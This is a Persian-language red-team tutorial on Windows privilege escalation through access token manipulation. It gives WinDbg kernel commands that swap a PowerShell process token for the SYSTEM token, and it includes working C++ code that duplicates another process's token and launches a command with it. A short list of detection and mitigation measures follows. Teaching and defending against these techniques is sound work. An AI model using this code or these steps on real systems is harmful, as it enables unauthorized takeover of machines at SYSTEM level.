Privilege Escalation با استفاده از Access Token Manipulation
نویسنده: یاسین عابدینی · دسته: RedTeam · تاریخ انتشار: ۱۴۰۵/۴/۱۹
Privilege Escalation در ویندوز با استفاده از Access Token Manipulation
مقدمه
یکی از تکنیکهای کلاسیک و در عین حال بسیار مؤثر در حوزه Post-Exploitation روی سیستمعامل ویندوز، دستکاری Access Token پردازشها است.
این تکنیک به مهاجم (یا در نقش تیم قرمز، به تستکننده نفوذ) اجازه میدهد بدون نیاز به بهرهبرداری از یک آسیبپذیری در کرنل، سطح دسترسی خود را از یک کاربر عادی به سطح SYSTEM یا هر کاربر دیگری با دسترسی بالاتر ارتقا دهد.
هدف این مقاله صرفاً آموزشی و در راستای درک مکانیزمهای دفاعی و تست نفوذ مجاز (Authorized Penetration Testing) است.
بخش اول: پیشنیاز معماری ویندوز
برای درک Privilege Escalation، نیازی به دانستن کل معماری ویندوز نیست؛ فقط باید بدانیم عملیات ما در کجای این معماری اتفاق میافتد.
OS
└── Library
└── DLL
├── User32.dll
├── shell32.dll
├── kernel32.dll
└── ntdll.dll
هر DLL مجموعهای از Windows API Calls (WAC) را در اختیار برنامهنویس قرار میدهد.
پردازش، فقط یک ساختار داده است
نکته کلیدی این است که یک پردازش در سطح کرنل چیزی جز یک ساختار داده نیست.
- در User Mode به آن Process گفته میشود.
- در Kernel Mode معادل آن ساختار
_EPROCESSاست. - توکن پردازش با ساختار
_TOKENنمایش داده میشود.
بررسی ساختارها با WinDbg
File ▸ Attach to Kernel ▸ OK
dt _eprocess
dt _token
dt _SEP_TOKEN_PRIVILEGES
بخش دوم: مفاهیم پایه Token
| مفهوم | توضیح |
|---|---|
| Process Token | نمایانگر Security Context یک پردازش است. |
| System Process | پردازش با PID برابر ۴ و بالاترین سطح دسترسی. |
| EPROCESS Structure | ساختار داخلی نگهدارنده متادیتای پردازش. |
| Base Address | آدرس شروع ساختار EPROCESS. |
| Token Offset | فاصله فیلد توکن نسبت به ابتدای EPROCESS. |
بخش سوم: Token Access Manipulation
گام ۱: مشاهده وضعیت اولیه
یک نشست PowerShell باز کرده و کاربر جاری بررسی میشود.
گام ۲: بررسی پردازش System
!process 4 1
از خروجی این دستور، Base Address و فیلد Token استخراج میشود.
گام ۳: بررسی PowerShell هدف
!process BFC 1
گام ۴: جایگزینی توکن
eq [PowerShell Token Address] [System Token Address]
این عملیات باعث میشود پردازش PowerShell با سطح دسترسی System اجرا شود.
بخش چهارم: Token Privilege Manipulation
در این روش، بهجای سرقت کل توکن، Privilegeهای داخل توکن پردازش جاری تغییر داده میشوند.
بخش پنجم: نمونه کد
#include <windows.h>
#include <iostream>
int main(int argc, char* argv[]) {
char a;
HANDLE processHandle;
HANDLE tokenHandle = NULL;
HANDLE duplicateTokenHandle = NULL;
STARTUPINFO startupInfo;
PROCESS_INFORMATION processInformation;
DWORD PID_TO_IMPERSONATE = 3456;
wchar_t cmdline[] = L"E:\\nooranet.cmd";
ZeroMemory(&startupInfo,sizeof(STARTUPINFO));
ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
startupInfo.cb = sizeof(STARTUPINFO);
processHandle = OpenProcess(PROCESS_ALL_ACCESS, TRUE, PID_TO_IMPERSONATE);
OpenProcessToken(processHandle, TOKEN_ALL_ACCESS, &tokenHandle);
DuplicateTokenEx(tokenHandle, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle);
CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE,NULL, cmdline, 0, NULL, NULL, &startupInfo, &processInformation);
std::cin >> a;
return 0;
}
تحلیل مرحله به مرحله
| تابع | نقش |
|---|---|
OpenProcess |
دریافت Handle پردازش هدف |
OpenProcessToken |
دریافت توکن پردازش هدف |
DuplicateTokenEx |
ایجاد کپی از توکن |
CreateProcessWithTokenW |
اجرای پردازش جدید با توکن جدید |
بخش ششم: شناسایی و مقابله
- پایش فراخوانی APIهای حساس
- پیادهسازی اصل Least Privilege
- جداسازی حسابهای سرویس
- فعالسازی Credential Guard و PPL
- رصد ابزارهای Debug
- استفاده از Application Whitelisting
جمعبندی
دستکاری Access Token یکی از مهمترین تکنیکهای Privilege Escalation در ویندوز است و درک عمیق آن برای تیمهای قرمز و آبی اهمیت زیادی دارد.